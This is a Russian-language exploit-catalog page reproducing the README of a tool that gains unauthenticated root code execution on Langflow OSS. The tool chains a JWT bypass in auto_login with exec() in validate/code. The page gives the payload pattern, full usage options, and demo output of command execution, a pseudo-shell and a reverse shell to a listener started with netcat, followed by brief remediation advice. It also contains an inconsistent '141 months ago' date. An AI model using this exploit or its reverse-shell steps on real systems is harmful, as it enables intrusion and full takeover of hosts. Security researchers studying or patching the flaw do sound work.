Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-9198_exploit — Неаутентифицированный эксплойт RCE для Langflow OSS, объединяющий обход JWT в auto_login с validate/code exec() для удалённого выполнения команд и получения reverse shell. | Kitploit
Инструменты/GitHubGitHub/0xdak/cve-2026-9198_exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHub0xdak/cve-2026-9198_exploit

CVE-2026-9198_exploit

Неаутентифицированный эксплойт RCE для Langflow OSS, объединяющий обход JWT в auto_login с validate/code exec() для удалённого выполнения команд и получения reverse shell.

Репозиторий
141 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9198 — Langflow OSS: неаутентифицированное удалённое выполнение кода (RCE)

Неаутентифицированное удалённое выполнение кода в IBM Langflow OSS (1.0.0 – 1.10.0) в конфигурации по умолчанию. Объединяет две уязвимости:

  • CVE-2026-9103 — GET /api/v1/auto_login выдаёт JWT с правами SUPERUSER любому вызывающему без учётных данных, когда AUTO_LOGIN включён (по умолчанию в Langflow < 1.5).
  • CVE-2026-8481 — POST /api/v1/validate/code передаёт пользовательский Python-код в exec() без песочницы.

Вместе (CVE-2026-9198) неаутентифицированный злоумышленник получает выполнение кода от имени служебного пользователя Langflow — который часто является root.

Что делает

  • Запрашивает суперпользовательский bearer-токен у /api/v1/auto_login (без аутентификации).

  • Отправляет нагрузку в /api/v1/validate/code. Эндпоинт выполняет код через exec(), чтобы «проверить» его; Python вычисляет значения аргументов по умолчанию во время определения, поэтому нагрузка помещается в аргумент по умолчанию функции:

    root@kitploit:~
    def _v(a=exec('<payload>')): pass
    

    Для выполнения команд нагрузка вызывает исключение, сообщение которого содержит вывод команды; эндпоинт отражает его в ответе (function.errors[]).

  • Использование

    root@kitploit:~
    ./exploit.py -t <target> [options]
    
      -t, --target     target host/IP (or full URL)          (required)
      -p, --port       Langflow port                          (default 7860)
      -c, --cmd        run a single shell command, print output
          --shell      interactive pseudo-shell (each line runs via the RCE)
          --lhost      reverse-shell listener IP
          --lport      reverse-shell listener port            (default 4444)
      -k, --token      use this bearer token (skip auto_login)
          --timeout    HTTP timeout in seconds                (default 20)
          --no-banner  suppress the banner
      -h, --help       show help
    

    Демонстрация

    root@kitploit:~
    $ ./exploit.py -t 192.168.30.128
    CVE-2026-9198 — Langflow unauthenticated RCE
      auto_login (superuser token) -> validate/code (exec)
    
    [*] requesting superuser token via /api/v1/auto_login ...
    [+] token: eyJhbGciOiJIUzI1NiIsInR...
    uid=0(root) gid=0(root) groups=0(root)
    
    $ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
    ...
    d4b81f6a3c9e07254f6a3c9e07254d4b
    
    $ ./exploit.py -t 192.168.30.128 --shell
    [+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
    [*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
    langflow$ hostname
    flow
    langflow$ whoami
    root
    
    # reverse shell (start `nc -lvnp 4444` first)
    $ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
    [*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
    [+] payload sent. Check your listener.
    

    Требования

    • Python 3.6+ (только стандартная библиотека — pip install не нужен)

    Примечания

    • Работает только пока AUTO_LOGIN включён (по умолчанию для Langflow < 1.5; на >= 1.5 его нужно явно задать через LANGFLOW_AUTO_LOGIN=true). Если auto_login не возвращает токен, цель не эксплуатируется через этот путь — укажите валидный токен через -k, если он у вас есть.
    • Вывод команды возвращается в ответе function.errors[]; stderr объединяется с stdout, поэтому даже неудачные команды показывают свою ошибку.
    • Код выполняется от имени служебного пользователя Langflow (service user). Если это root (обычно при запуске голого langflow run под systemd/Docker-as-root), это прямой root на хосте.

    Устранение

    • Обновите Langflow за пределы затронутого диапазона; validate/code не должен выполнять через exec() недоверенный ввод, а auto_login не должен выпускать суперпользовательские токены.
    • Установите LANGFLOW_AUTO_LOGIN=false и настройте настоящие учётные данные суперпользователя.
    • Никогда не запускайте службу Langflow от имени root.

    Отказ от ответственности

    Этот проект публикуется исключительно для авторизованного тестирования безопасности и в образовательных целях. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.

    Скачать инструмент